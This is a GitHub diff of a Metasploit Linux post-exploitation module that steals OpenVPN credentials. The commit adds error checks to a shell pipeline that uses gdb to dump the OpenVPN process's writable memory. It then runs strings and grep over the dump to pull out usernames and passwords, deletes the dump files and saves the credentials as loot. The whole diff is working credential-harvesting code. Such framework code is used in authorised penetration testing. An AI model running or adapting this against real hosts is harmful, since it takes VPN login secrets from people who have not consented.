File tree Expand file tree Collapse file tree 1 file changed +14
-5
lines changed
modules/post/linux/gather Expand file tree Collapse file tree 1 file changed +14
-5
lines changed Original file line number Diff line number Diff line change @@ -57,15 +57,24 @@ def run
57
57
return
58
58
end
59
59
60
- cmd_exec ( '/bin/grep rw-p /proc/' "#{ pid } " '/maps | sed -n \'s/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p\' | while read start stop; do /usr/bin/gdb --batch-silent --silent --pid ' "#{ pid } " ' -ex "dump memory ' "#{ tmp_path } #{ pid } " '-$start-$stop.dump 0x$start 0x$stop"; done' )
60
+ dump = cmd_exec ( '/bin/grep rw-p /proc/' "#{ pid } " '/maps | sed -n \'s/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p\' | while read start stop; do /usr/bin/gdb --batch-silent --silent --pid ' "#{ pid } " ' -ex "dump memory ' "#{ tmp_path } #{ pid } " '-$start-$stop.dump 0x$start 0x$stop"; done 2>/dev/null; echo $?' )
61
+ if dump . chomp . to_i == 0
62
+ vprint_good ( 'Succesfully dump.' )
63
+ else
64
+ print_warning ( 'Could not dump process.' )
65
+ end
66
+
61
67
strings = cmd_exec ( "/usr/bin/strings #{ tmp_path } *.dump | /bin/grep -B2 KnOQ | /bin/grep -v KnOQ | /usr/bin/column | /usr/bin/awk '{print \" User: \" $1\" \\ nPass: \" $2}'" )
62
- cmd_exec ( "/bin/rm #{ tmp_path } *.dump --force" )
63
68
64
- if strings . empty?
65
- print_error ( 'No credentials. You can check if the PID is correct.' )
66
- return
69
+ deldump = cmd_exec ( "/bin/rm #{ tmp_path } *.dump --force 2>/dev/null; echo $?" )
70
+ if deldump . chomp . to_i == 0
71
+ vprint_good ( 'Removing temp files successfully.' )
72
+ else
73
+ print_warning ( 'Could not remove dumped files.' )
67
74
end
68
75
76
+ fail_with ( Failure ::BadConfig , 'No credentials. You can check if the PID is correct.' ) if strings . empty?
77
+
69
78
vprint_good ( "OpenVPN Credentials:\n #{ strings } " )
70
79
71
80
p = store_loot (
You can’t perform that action at this time.
0 commit comments